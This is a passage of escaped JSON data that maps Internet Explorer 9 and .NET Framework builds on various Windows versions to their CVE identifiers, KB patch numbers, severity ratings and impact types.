Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025252\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034733\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4089187\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4089187\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343205\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471325\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471325\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471325\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480968\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525234\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003210\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 9 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4047206\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025252\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034733\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4089187\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4089187\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343205\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471325\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471325\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471325\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480968\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525234\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537767\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003210\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 9 on Windows Vista Service Pack 2\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Internet Explorer 9 on Windows Vista x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580346\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580346\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580346\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580346\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534276\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580328\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580328\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534276\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580328\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534293\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580330\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580330\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534293\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580330\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578973\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server, version 1803 (Server Core Installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534293\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4580330\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579976\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579976\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for 32-bit Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578968\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578968\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for x64-based Systems\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578968\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579976\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579976\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1903 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1909 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532938\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578974\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 2004 (Server Core installation)\":[{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578968\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040981\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040981\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2012\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040979\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040979\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040981\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2016\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5 on Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5.1 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040980\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5.1 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040980\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040980\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040980\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040980\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040974\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040974\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows RT 8.1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040974\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code 